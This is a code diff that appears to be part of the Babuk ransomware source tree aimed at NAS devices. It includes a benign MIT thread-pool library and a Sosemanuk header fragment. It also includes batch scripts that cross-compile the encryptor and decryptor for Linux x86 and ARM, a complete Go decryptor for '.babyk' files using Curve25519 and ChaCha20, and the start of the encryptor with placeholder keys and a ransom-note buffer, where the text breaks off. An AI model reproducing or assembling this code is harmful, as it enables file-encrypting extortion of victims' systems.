* Cipher initialization: the cipher internal state is initialized, using
|
||||
* the provided key context and IV. The IV length is up to 16 bytes. If
|
||||
* "iv_len" is 0 (no IV), then the "iv" parameter can be NULL.
|
||||
*/
|
||||
void sosemanuk_init(sosemanuk_run_context *rc,
|
||||
sosemanuk_key_context *kc, unsigned char *iv, size_t iv_len);
|
||||
|
||||
/*
|
||||
* Cipher operation, as a PRNG: the provided output buffer is filled with
|
||||
* pseudo-random bytes as output from the stream cipher.
|
||||
*/
|
||||
void sosemanuk_prng(sosemanuk_run_context *rc,
|
||||
unsigned char *out, size_t out_len);
|
||||
|
||||
/*
|
||||
* Cipher operation, as a stream cipher: data is read from the "in"
|
||||
* buffer, combined by XOR with the stream, and the result is written
|
||||
* in the "out" buffer. "in" and "out" must be either equal, or
|
||||
* reference distinct buffers (no partial overlap is allowed).
|
||||
*/
|
||||
void sosemanuk_encrypt(sosemanuk_run_context *rc,
|
||||
unsigned char *in, unsigned char *out, size_t data_len);
|
||||
|
||||
#endif
|
||||
|
||||
#endif
|
|
@ -0,0 +1,547 @@
|
|||
/* ********************************
|
||||
* Author: Johan Hanssen Seferidis
|
||||
* License: MIT
|
||||
* Description: Library providing a threading pool where you can add
|
||||
* work. For usage, check the thpool.h file or README.md
|
||||
*
|
||||
*//** @file thpool.h *//*
|
||||
*
|
||||
********************************/
|
||||
|
||||
#define _POSIX_C_SOURCE 200809L
|
||||
#include <unistd.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <pthread.h>
|
||||
#include <errno.h>
|
||||
#include <time.h>
|
||||
#if defined(__linux__)
|
||||
#include <sys/prctl.h>
|
||||
#endif
|
||||
|
||||
#include "thpool.h"
|
||||
|
||||
#ifdef THPOOL_DEBUG
|
||||
#define THPOOL_DEBUG 1
|
||||
#else
|
||||
#define THPOOL_DEBUG 0
|
||||
#endif
|
||||
|
||||
#if !defined(DISABLE_PRINT) || defined(THPOOL_DEBUG)
|
||||
#define err(str) fprintf(stderr, str)
|
||||
#else
|
||||
#define err(str)
|
||||
#endif
|
||||
|
||||
static volatile int threads_keepalive;
|
||||
static volatile int threads_on_hold;
|
||||
|
||||
|
||||
|
||||
/* ========================== STRUCTURES ============================ */
|
||||
|
||||
|
||||
/* Binary semaphore */
|
||||
typedef struct bsem {
|
||||
pthread_mutex_t mutex;
|
||||
pthread_cond_t cond;
|
||||
int v;
|
||||
} bsem;
|
||||
|
||||
|
||||
/* Job */
|
||||
typedef struct job{
|
||||
struct job* prev; /* pointer to previous job */
|
||||
void (*function)(void* arg); /* function pointer */
|
||||
void* arg; /* function's argument */
|
||||
} job;
|
||||
|
||||
|
||||
/* Job queue */
|
||||
typedef struct jobqueue{
|
||||
pthread_mutex_t rwmutex; /* used for queue r/w access */
|
||||
job *front; /* pointer to front of queue */
|
||||
job *rear; /* pointer to rear of queue */
|
||||
bsem *has_jobs; /* flag as binary semaphore */
|
||||
int len; /* number of jobs in queue */
|
||||
} jobqueue;
|
||||
|
||||
|
||||
/* Thread */
|
||||
typedef struct thread{
|
||||
int id; /* friendly id */
|
||||
pthread_t pthread; /* pointer to actual thread */
|
||||
struct thpool_* thpool_p; /* access to thpool */
|
||||
} thread;
|
||||
|
||||
|
||||
/* Threadpool */
|
||||
typedef struct thpool_{
|
||||
thread** threads; /* pointer to threads */
|
||||
volatile int num_threads_alive; /* threads currently alive */
|
||||
volatile int num_threads_working; /* threads currently working */
|
||||
pthread_mutex_t thcount_lock; /* used for thread count etc */
|
||||
pthread_cond_t threads_all_idle; /* signal to thpool_wait */
|
||||
jobqueue jobqueue; /* job queue */
|
||||
} thpool_;
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
/* ========================== PROTOTYPES ============================ */
|
||||
|
||||
|
||||
static int thread_init(thpool_* thpool_p, struct thread** thread_p, int id);
|
||||
static void* thread_do(struct thread* thread_p);
|
||||
static void thread_hold(int sig_id);
|
||||
static void thread_destroy(struct thread* thread_p);
|
||||
|
||||
static int jobqueue_init(jobqueue* jobqueue_p);
|
||||
static void jobqueue_clear(jobqueue* jobqueue_p);
|
||||
static void jobqueue_push(jobqueue* jobqueue_p, struct job* newjob_p);
|
||||
static struct job* jobqueue_pull(jobqueue* jobqueue_p);
|
||||
static void jobqueue_destroy(jobqueue* jobqueue_p);
|
||||
|
||||
static void bsem_init(struct bsem *bsem_p, int value);
|
||||
static void bsem_reset(struct bsem *bsem_p);
|
||||
static void bsem_post(struct bsem *bsem_p);
|
||||
static void bsem_post_all(struct bsem *bsem_p);
|
||||
static void bsem_wait(struct bsem *bsem_p);
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
/* ========================== THREADPOOL ============================ */
|
||||
|
||||
|
||||
/* Initialise thread pool */
|
||||
struct thpool_* thpool_init(int num_threads){
|
||||
|
||||
threads_on_hold = 0;
|
||||
threads_keepalive = 1;
|
||||
|
||||
if (num_threads < 0){
|
||||
num_threads = 0;
|
||||
}
|
||||
|
||||
/* Make new thread pool */
|
||||
thpool_* thpool_p;
|
||||
thpool_p = (struct thpool_*)malloc(sizeof(struct thpool_));
|
||||
if (thpool_p == NULL){
|
||||
err("thpool_init(): Could not allocate memory for thread pool\n");
|
||||
return NULL;
|
||||
}
|
||||
thpool_p->num_threads_alive = 0;
|
||||
thpool_p->num_threads_working = 0;
|
||||
|
||||
/* Initialise the job queue */
|
||||
if (jobqueue_init(&thpool_p->jobqueue) == -1){
|
||||
err("thpool_init(): Could not allocate memory for job queue\n");
|
||||
free(thpool_p);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Make threads in pool */
|
||||
thpool_p->threads = (struct thread**)malloc(num_threads * sizeof(struct thread *));
|
||||
if (thpool_p->threads == NULL){
|
||||
err("thpool_init(): Could not allocate memory for threads\n");
|
||||
jobqueue_destroy(&thpool_p->jobqueue);
|
||||
free(thpool_p);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pthread_mutex_init(&(thpool_p->thcount_lock), NULL);
|
||||
pthread_cond_init(&thpool_p->threads_all_idle, NULL);
|
||||
|
||||
/* Thread init */
|
||||
int n;
|
||||
for (n=0; n<num_threads; n++){
|
||||
thread_init(thpool_p, &thpool_p->threads[n], n);
|
||||
#if THPOOL_DEBUG
|
||||
printf("THPOOL_DEBUG: Created thread %d in pool \n", n);
|
||||
#endif
|
||||
}
|
||||
|
||||
/* Wait for threads to initialize */
|
||||
while (thpool_p->num_threads_alive != num_threads) {}
|
||||
|
||||
return thpool_p;
|
||||
}
|
||||
|
||||
|
||||
/* Add work to the thread pool */
|
||||
int thpool_add_work(thpool_* thpool_p, void (*function_p)(void*), void* arg_p){
|
||||
job* newjob;
|
||||
|
||||
newjob=(struct job*)malloc(sizeof(struct job));
|
||||
if (newjob==NULL){
|
||||
err("thpool_add_work(): Could not allocate memory for new job\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* add function and argument */
|
||||
newjob->function=function_p;
|
||||
newjob->arg=arg_p;
|
||||
|
||||
/* add job to queue */
|
||||
jobqueue_push(&thpool_p->jobqueue, newjob);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/* Wait until all jobs have finished */
|
||||
void thpool_wait(thpool_* thpool_p){
|
||||
pthread_mutex_lock(&thpool_p->thcount_lock);
|
||||
while (thpool_p->jobqueue.len || thpool_p->num_threads_working) {
|
||||
pthread_cond_wait(&thpool_p->threads_all_idle, &thpool_p->thcount_lock);
|
||||
}
|
||||
pthread_mutex_unlock(&thpool_p->thcount_lock);
|
||||
}
|
||||
|
||||
|
||||
/* Destroy the threadpool */
|
||||
void thpool_destroy(thpool_* thpool_p){
|
||||
/* No need to destory if it's NULL */
|
||||
if (thpool_p == NULL) return ;
|
||||
|
||||
volatile int threads_total = thpool_p->num_threads_alive;
|
||||
|
||||
/* End each thread 's infinite loop */
|
||||
threads_keepalive = 0;
|
||||
|
||||
/* Give one second to kill idle threads */
|
||||
double TIMEOUT = 1.0;
|
||||
time_t start, end;
|
||||
double tpassed = 0.0;
|
||||
time (&start);
|
||||
while (tpassed < TIMEOUT && thpool_p->num_threads_alive){
|
||||
bsem_post_all(thpool_p->jobqueue.has_jobs);
|
||||
time (&end);
|
||||
tpassed = difftime(end,start);
|
||||
}
|
||||
|
||||
/* Poll remaining threads */
|
||||
while (thpool_p->num_threads_alive){
|
||||
bsem_post_all(thpool_p->jobqueue.has_jobs);
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
/* Job queue cleanup */
|
||||
jobqueue_destroy(&thpool_p->jobqueue);
|
||||
/* Deallocs */
|
||||
int n;
|
||||
for (n=0; n < threads_total; n++){
|
||||
thread_destroy(thpool_p->threads[n]);
|
||||
}
|
||||
free(thpool_p->threads);
|
||||
free(thpool_p);
|
||||
}
|
||||
|
||||
|
||||
/* Pause all threads in threadpool */
|
||||
void thpool_pause(thpool_* thpool_p) {
|
||||
int n;
|
||||
for (n=0; n < thpool_p->num_threads_alive; n++){
|
||||
pthread_kill(thpool_p->threads[n]->pthread, SIGUSR1);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/* Resume all threads in threadpool */
|
||||
void thpool_resume(thpool_* thpool_p) {
|
||||
// resuming a single threadpool hasn't been
|
||||
// implemented yet, meanwhile this supresses
|
||||
// the warnings
|
||||
(void)thpool_p;
|
||||
|
||||
threads_on_hold = 0;
|
||||
}
|
||||
|
||||
|
||||
int thpool_num_threads_working(thpool_* thpool_p){
|
||||
return thpool_p->num_threads_working;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
/* ============================ THREAD ============================== */
|
||||
|
||||
|
||||
/* Initialize a thread in the thread pool
|
||||
*
|
||||
* @param thread address to the pointer of the thread to be created
|
||||
* @param id id to be given to the thread
|
||||
* @return 0 on success, -1 otherwise.
|
||||
*/
|
||||
static int thread_init (thpool_* thpool_p, struct thread** thread_p, int id){
|
||||
|
||||
*thread_p = (struct thread*)malloc(sizeof(struct thread));
|
||||
if (*thread_p == NULL){
|
||||
err("thread_init(): Could not allocate memory for thread\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
(*thread_p)->thpool_p = thpool_p;
|
||||
(*thread_p)->id = id;
|
||||
|
||||
pthread_create(&(*thread_p)->pthread, NULL, (void * (*)(void *)) thread_do, (*thread_p));
|
||||
pthread_detach((*thread_p)->pthread);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/* Sets the calling thread on hold */
|
||||
static void thread_hold(int sig_id) {
|
||||
(void)sig_id;
|
||||
threads_on_hold = 1;
|
||||
while (threads_on_hold){
|
||||
sleep(1);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/* What each thread is doing
|
||||
*
|
||||
* In principle this is an endless loop. The only time this loop gets interuppted is once
|
||||
* thpool_destroy() is invoked or the program exits.
|
||||
*
|
||||
* @param thread thread that will run this function
|
||||
* @return nothing
|
||||
*/
|
||||
static void* thread_do(struct thread* thread_p){
|
||||
|
||||
/* Set thread name for profiling and debuging */
|
||||
char thread_name[32] = {0};
|
||||
snprintf(thread_name, 32, "thread-pool-%d", thread_p->id);
|
||||
|
||||
#if defined(__linux__)
|
||||
/* Use prctl instead to prevent using _GNU_SOURCE flag and implicit declaration */
|
||||
prctl(PR_SET_NAME, thread_name);
|
||||
#elif defined(__APPLE__) && defined(__MACH__)
|
||||
pthread_setname_np(thread_name);
|
||||
#else
|
||||
err("thread_do(): pthread_setname_np is not supported on this system");
|
||||
#endif
|
||||
|
||||
/* Assure all threads have been created before starting serving */
|
||||
thpool_* thpool_p = thread_p->thpool_p;
|
||||
|
||||
/* Register signal handler */
|
||||
struct sigaction act;
|
||||
sigemptyset(&act.sa_mask);
|
||||
act.sa_flags = 0;
|
||||
act.sa_handler = thread_hold;
|
||||
if (sigaction(SIGUSR1, &act, NULL) == -1) {
|
||||
err("thread_do(): cannot handle SIGUSR1");
|
||||
}
|
||||
|
||||
/* Mark thread as alive (initialized) */
|
||||
pthread_mutex_lock(&thpool_p->thcount_lock);
|
||||
thpool_p->num_threads_alive += 1;
|
||||
pthread_mutex_unlock(&thpool_p->thcount_lock);
|
||||
|
||||
while(threads_keepalive){
|
||||
|
||||
bsem_wait(thpool_p->jobqueue.has_jobs);
|
||||
|
||||
if (threads_keepalive){
|
||||
|
||||
pthread_mutex_lock(&thpool_p->thcount_lock);
|
||||
thpool_p->num_threads_working++;
|
||||
pthread_mutex_unlock(&thpool_p->thcount_lock);
|
||||
|
||||
/* Read job from queue and execute it */
|
||||
void (*func_buff)(void*);
|
||||
void* arg_buff;
|
||||
job* job_p = jobqueue_pull(&thpool_p->jobqueue);
|
||||
if (job_p) {
|
||||
func_buff = job_p->function;
|
||||
arg_buff = job_p->arg;
|
||||
func_buff(arg_buff);
|
||||
free(job_p);
|
||||
}
|
||||
|
||||
pthread_mutex_lock(&thpool_p->thcount_lock);
|
||||
thpool_p->num_threads_working--;
|
||||
if (!thpool_p->num_threads_working) {
|
||||
pthread_cond_signal(&thpool_p->threads_all_idle);
|
||||
}
|
||||
pthread_mutex_unlock(&thpool_p->thcount_lock);
|
||||
|
||||
}
|
||||
}
|
||||
pthread_mutex_lock(&thpool_p->thcount_lock);
|
||||
thpool_p->num_threads_alive --;
|
||||
pthread_mutex_unlock(&thpool_p->thcount_lock);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
/* Frees a thread */
|
||||
static void thread_destroy (thread* thread_p){
|
||||
free(thread_p);
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
/* ============================ JOB QUEUE =========================== */
|
||||
|
||||
|
||||
/* Initialize queue */
|
||||
static int jobqueue_init(jobqueue* jobqueue_p){
|
||||
jobqueue_p->len = 0;
|
||||
jobqueue_p->front = NULL;
|
||||
jobqueue_p->rear = NULL;
|
||||
|
||||
jobqueue_p->has_jobs = (struct bsem*)malloc(sizeof(struct bsem));
|
||||
if (jobqueue_p->has_jobs == NULL){
|
||||
return -1;
|
||||
}
|
||||
|
||||
pthread_mutex_init(&(jobqueue_p->rwmutex), NULL);
|
||||
bsem_init(jobqueue_p->has_jobs, 0);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/* Clear the queue */
|
||||
static void jobqueue_clear(jobqueue* jobqueue_p){
|
||||
|
||||
while(jobqueue_p->len){
|
||||
free(jobqueue_pull(jobqueue_p));
|
||||
}
|
||||
|
||||
jobqueue_p->front = NULL;
|
||||
jobqueue_p->rear = NULL;
|
||||
bsem_reset(jobqueue_p->has_jobs);
|
||||
jobqueue_p->len = 0;
|
||||
|
||||
}
|
||||
|
||||
|
||||
/* Add (allocated) job to queue
|
||||
*/
|
||||
static void jobqueue_push(jobqueue* jobqueue_p, struct job* newjob){
|
||||
|
||||
pthread_mutex_lock(&jobqueue_p->rwmutex);
|
||||
newjob->prev = NULL;
|
||||
|
||||
switch(jobqueue_p->len){
|
||||
|
||||
case 0: /* if no jobs in queue */
|
||||
jobqueue_p->front = newjob;
|
||||
jobqueue_p->rear = newjob;
|
||||
break;
|
||||
|
||||
default: /* if jobs in queue */
|
||||
jobqueue_p->rear->prev = newjob;
|
||||
jobqueue_p->rear = newjob;
|
||||
|
||||
}
|
||||
jobqueue_p->len++;
|
||||
|
||||
bsem_post(jobqueue_p->has_jobs);
|
||||
pthread_mutex_unlock(&jobqueue_p->rwmutex);
|
||||
}
|
||||
|
||||
|
||||
/* Get first job from queue(removes it from queue)
|
||||
* Notice: Caller MUST hold a mutex
|
||||
*/
|
||||
static struct job* jobqueue_pull(jobqueue* jobqueue_p){
|
||||
|
||||
pthread_mutex_lock(&jobqueue_p->rwmutex);
|
||||
job* job_p = jobqueue_p->front;
|
||||
|
||||
switch(jobqueue_p->len){
|
||||
|
||||
case 0: /* if no jobs in queue */
|
||||
break;
|
||||
|
||||
case 1: /* if one job in queue */
|
||||
jobqueue_p->front = NULL;
|
||||
jobqueue_p->rear = NULL;
|
||||
jobqueue_p->len = 0;
|
||||
break;
|
||||
|
||||
default: /* if >1 jobs in queue */
|
||||
jobqueue_p->front = job_p->prev;
|
||||
jobqueue_p->len--;
|
||||
/* more than one job in queue -> post it */
|
||||
bsem_post(jobqueue_p->has_jobs);
|
||||
|
||||
}
|
||||
|
||||
pthread_mutex_unlock(&jobqueue_p->rwmutex);
|
||||
return job_p;
|
||||
}
|
||||
|
||||
|
||||
/* Free all queue resources back to the system */
|
||||
static void jobqueue_destroy(jobqueue* jobqueue_p){
|
||||
jobqueue_clear(jobqueue_p);
|
||||
free(jobqueue_p->has_jobs);
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
/* ======================== SYNCHRONISATION ========================= */
|
||||
|
||||
|
||||
/* Init semaphore to 1 or 0 */
|
||||
static void bsem_init(bsem *bsem_p, int value) {
|
||||
if (value < 0 || value > 1) {
|
||||
err("bsem_init(): Binary semaphore can take only values 1 or 0");
|
||||
exit(1);
|
||||
}
|
||||
pthread_mutex_init(&(bsem_p->mutex), NULL);
|
||||
pthread_cond_init(&(bsem_p->cond), NULL);
|
||||
bsem_p->v = value;
|
||||
}
|
||||
|
||||
|
||||
/* Reset semaphore to 0 */
|
||||
static void bsem_reset(bsem *bsem_p) {
|
||||
bsem_init(bsem_p, 0);
|
||||
}
|
||||
|
||||
|
||||
/* Post to at least one thread */
|
||||
static void bsem_post(bsem *bsem_p) {
|
||||
pthread_mutex_lock(&bsem_p->mutex);
|
||||
bsem_p->v = 1;
|
||||
pthread_cond_signal(&bsem_p->cond);
|
||||
pthread_mutex_unlock(&bsem_p->mutex);
|
||||
}
|
||||
|
||||
|
||||
/* Post to all threads */
|
||||
static void bsem_post_all(bsem *bsem_p) {
|
||||
pthread_mutex_lock(&bsem_p->mutex);
|
||||
bsem_p->v = 1;
|
||||
pthread_cond_broadcast(&bsem_p->cond);
|
||||
pthread_mutex_unlock(&bsem_p->mutex);
|
||||
}
|
||||
|
||||
|
||||
/* Wait on semaphore until semaphore has value 0 */
|
||||
static void bsem_wait(bsem* bsem_p) {
|
||||
pthread_mutex_lock(&bsem_p->mutex);
|
||||
while (bsem_p->v != 1) {
|
||||
pthread_cond_wait(&bsem_p->cond, &bsem_p->mutex);
|
||||
}
|
||||
bsem_p->v = 0;
|
||||
pthread_mutex_unlock(&bsem_p->mutex);
|
||||
}
|
|
@ -0,0 +1,187 @@
|
|||
/**********************************
|
||||
* @author Johan Hanssen Seferidis
|
||||
* License: MIT
|
||||
*
|
||||
**********************************/
|
||||
|
||||
#ifndef _THPOOL_
|
||||
#define _THPOOL_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* =================================== API ======================================= */
|
||||
|
||||
|
||||
typedef struct thpool_* threadpool;
|
||||
|
||||
|
||||
/**
|
||||
* @brief Initialize threadpool
|
||||
*
|
||||
* Initializes a threadpool. This function will not return until all
|
||||
* threads have initialized successfully.
|
||||
*
|
||||
* @example
|
||||
*
|
||||
* ..
|
||||
* threadpool thpool; //First we declare a threadpool
|
||||
* thpool = thpool_init(4); //then we initialize it to 4 threads
|
||||
* ..
|
||||
*
|
||||
* @param num_threads number of threads to be created in the threadpool
|
||||
* @return threadpool created threadpool on success,
|
||||
* NULL on error
|
||||
*/
|
||||
threadpool thpool_init(int num_threads);
|
||||
|
||||
|
||||
/**
|
||||
* @brief Add work to the job queue
|
||||
*
|
||||
* Takes an action and its argument and adds it to the threadpool's job queue.
|
||||
* If you want to add to work a function with more than one arguments then
|
||||
* a way to implement this is by passing a pointer to a structure.
|
||||
*
|
||||
* NOTICE: You have to cast both the function and argument to not get warnings.
|
||||
*
|
||||
* @example
|
||||
*
|
||||
* void print_num(int num){
|
||||
* printf("%d\n", num);
|
||||
* }
|
||||
*
|
||||
* int main() {
|
||||
* ..
|
||||
* int a = 10;
|
||||
* thpool_add_work(thpool, (void*)print_num, (void*)a);
|
||||
* ..
|
||||
* }
|
||||
*
|
||||
* @param threadpool threadpool to which the work will be added
|
||||
* @param function_p pointer to function to add as work
|
||||
* @param arg_p pointer to an argument
|
||||
* @return 0 on success, -1 otherwise.
|
||||
*/
|
||||
int thpool_add_work(threadpool, void (*function_p)(void*), void* arg_p);
|
||||
|
||||
|
||||
/**
|
||||
* @brief Wait for all queued jobs to finish
|
||||
*
|
||||
* Will wait for all jobs - both queued and currently running to finish.
|
||||
* Once the queue is empty and all work has completed, the calling thread
|
||||
* (probably the main program) will continue.
|
||||
*
|
||||
* Smart polling is used in wait. The polling is initially 0 - meaning that
|
||||
* there is virtually no polling at all. If after 1 seconds the threads
|
||||
* haven't finished, the polling interval starts growing exponentially
|
||||
* until it reaches max_secs seconds. Then it jumps down to a maximum polling
|
||||
* interval assuming that heavy processing is being used in the threadpool.
|
||||
*
|
||||
* @example
|
||||
*
|
||||
* ..
|
||||
* threadpool thpool = thpool_init(4);
|
||||
* ..
|
||||
* // Add a bunch of work
|
||||
* ..
|
||||
* thpool_wait(thpool);
|
||||
* puts("All added work has finished");
|
||||
* ..
|
||||
*
|
||||
* @param threadpool the threadpool to wait for
|
||||
* @return nothing
|
||||
*/
|
||||
void thpool_wait(threadpool);
|
||||
|
||||
|
||||
/**
|
||||
* @brief Pauses all threads immediately
|
||||
*
|
||||
* The threads will be paused no matter if they are idle or working.
|
||||
* The threads return to their previous states once thpool_resume
|
||||
* is called.
|
||||
*
|
||||
* While the thread is being paused, new work can be added.
|
||||
*
|
||||
* @example
|
||||
*
|
||||
* threadpool thpool = thpool_init(4);
|
||||
* thpool_pause(thpool);
|
||||
* ..
|
||||
* // Add a bunch of work
|
||||
* ..
|
||||
* thpool_resume(thpool); // Let the threads start their magic
|
||||
*
|
||||
* @param threadpool the threadpool where the threads should be paused
|
||||
* @return nothing
|
||||
*/
|
||||
void thpool_pause(threadpool);
|
||||
|
||||
|
||||
/**
|
||||
* @brief Unpauses all threads if they are paused
|
||||
*
|
||||
* @example
|
||||
* ..
|
||||
* thpool_pause(thpool);
|
||||
* sleep(10); // Delay execution 10 seconds
|
||||
* thpool_resume(thpool);
|
||||
* ..
|
||||
*
|
||||
* @param threadpool the threadpool where the threads should be unpaused
|
||||
* @return nothing
|
||||
*/
|
||||
void thpool_resume(threadpool);
|
||||
|
||||
|
||||
/**
|
||||
* @brief Destroy the threadpool
|
||||
*
|
||||
* This will wait for the currently active threads to finish and then 'kill'
|
||||
* the whole threadpool to free up memory.
|
||||
*
|
||||
* @example
|
||||
* int main() {
|
||||
* threadpool thpool1 = thpool_init(2);
|
||||
* threadpool thpool2 = thpool_init(2);
|
||||
* ..
|
||||
* thpool_destroy(thpool1);
|
||||
* ..
|
||||
* return 0;
|
||||
* }
|
||||
*
|
||||
* @param threadpool the threadpool to destroy
|
||||
* @return nothing
|
||||
*/
|
||||
void thpool_destroy(threadpool);
|
||||
|
||||
|
||||
/**
|
||||
* @brief Show currently working threads
|
||||
*
|
||||
* Working threads are the threads that are performing work (not idle).
|
||||
*
|
||||
* @example
|
||||
* int main() {
|
||||
* threadpool thpool1 = thpool_init(2);
|
||||
* threadpool thpool2 = thpool_init(2);
|
||||
* ..
|
||||
* printf("Working threads: %d\n", thpool_num_threads_working(thpool1));
|
||||
* ..
|
||||
* return 0;
|
||||
* }
|
||||
*
|
||||
* @param threadpool the threadpool of interest
|
||||
* @return integer number of threads working
|
||||
*/
|
||||
int thpool_num_threads_working(threadpool);
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
|
@ -0,0 +1,11 @@
|
|||
@echo off
|
||||
|
||||
set GOOS=linux
|
||||
set GOARCH=386
|
||||
go build -o d_nas_x86.out
|
||||
|
||||
set GOOS=linux
|
||||
set GOARCH=arm
|
||||
go build -o d_nas_arm.out
|
||||
|
||||
pause
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,128 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto/sha256"
|
||||
|
||||
"golang.org/x/crypto/chacha20"
|
||||
"golang.org/x/crypto/curve25519"
|
||||
)
|
||||
|
||||
var m_priv = [32]byte{0x63, 0x75, 0x72, 0x76, 0x70, 0x61, 0x74, 0x74, 0x65, 0x72, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
|
||||
|
||||
func i64tob(val uint64) []byte {
|
||||
r := make([]byte, 8)
|
||||
for i := uint64(0); i < 8; i++ {
|
||||
r[i] = byte((val >> (i * 8)) & 0xff)
|
||||
}
|
||||
return r
|
||||
}
|
||||
|
||||
func decrypt_file(path string) {
|
||||
var shared [32]byte
|
||||
var publicKey [32]byte
|
||||
|
||||
var file_flag = make([]byte, 6)
|
||||
|
||||
err := os.Rename(path, path[:len(path)-6])
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
|
||||
file, err := os.OpenFile(path[:len(path)-6], os.O_RDWR, 0)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
fi, err := file.Stat()
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
|
||||
var offset int64 = 0
|
||||
var file_size = fi.Size()
|
||||
if file_size > 38 {
|
||||
file.ReadAt(file_flag, file_size-6)
|
||||
if file_flag[0] == 0xAB &&
|
||||
file_flag[1] == 0xBC &&
|
||||
file_flag[2] == 0xCD &&
|
||||
file_flag[3] == 0xDE &&
|
||||
file_flag[4] == 0xEF &&
|
||||
file_flag[5] == 0xF0 {
|
||||
|
||||
file.ReadAt(publicKey[:], file_size-38)
|
||||
curve25519.ScalarMult(&shared, &m_priv, &publicKey)
|
||||
|
||||
var cc20_k = sha256.Sum256([]byte(shared[:]))
|
||||
var cc20_n = sha256.Sum256([]byte(cc20_k[:]))
|
||||
|
||||
stream, err := chacha20.NewUnauthenticatedCipher(cc20_k[:], cc20_n[10:22])
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
|
||||
file_size -= 38
|
||||
if file_size > 0x1400000 {
|
||||
var chunks int64 = file_size / 0xA00000
|
||||
var buffer = make([]byte, 0x100000)
|
||||
|
||||
var i int64
|
||||
for i = 0; i < chunks; i++ {
|
||||
offset = i * 0xA00000
|
||||
file.ReadAt(buffer, offset)
|
||||
stream.XORKeyStream(buffer, buffer)
|
||||
file.WriteAt(buffer, offset)
|
||||
}
|
||||
} else {
|
||||
var size_to_encrypt int64 = 0
|
||||
if file_size > 0x400000 {
|
||||
size_to_encrypt = 0x400000
|
||||
} else {
|
||||
size_to_encrypt = file_size
|
||||
}
|
||||
|
||||
var buffer = make([]byte, size_to_encrypt)
|
||||
r, _ := file.ReadAt(buffer, offset)
|
||||
if int64(r) != size_to_encrypt {
|
||||
fmt.Printf("ERROR: %d != %d\n", r, size_to_encrypt)
|
||||
return
|
||||
}
|
||||
|
||||
stream.XORKeyStream(buffer, buffer)
|
||||
file.WriteAt(buffer, offset)
|
||||
}
|
||||
|
||||
file.Truncate(file_size)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
if len(os.Args) == 2 {
|
||||
err := filepath.Walk(os.Args[1], func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if info.IsDir() == false && strings.Contains(path, ".babyk") == true {
|
||||
fmt.Printf("Decrypt: %s\n", path)
|
||||
decrypt_file(path)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
} else {
|
||||
fmt.Printf("%s /path/to/be/decrypted\n", os.Args[0])
|
||||
}
|
||||
}
|
|
@ -0,0 +1,11 @@
|
|||
@echo off
|
||||
|
||||
set GOOS=linux
|
||||
set GOARCH=386
|
||||
go build -o e_nas_x86.out
|
||||
|
||||
set GOOS=linux
|
||||
set GOARCH=arm
|
||||
go build -o e_nas_arm.out
|
||||
|
||||
pause
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,874 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
|
||||
"golang.org/x/crypto/chacha20"
|
||||
"golang.org/x/crypto/curve25519"
|
||||
)
|
||||
|
||||
var m_publ = [32]byte{0x63, 0x75, 0x72, 0x76, 0x70, 0x61, 0x74, 0x74, 0x65, 0x72, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
|
||||
|
||||
var notebytes = [8193]byte{
|
||||
0x6E, 0x6F, 0x74, 0x65, 0x70, 0x61, 0x74, 0x74, 0x65, 0x72, 0x6E, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
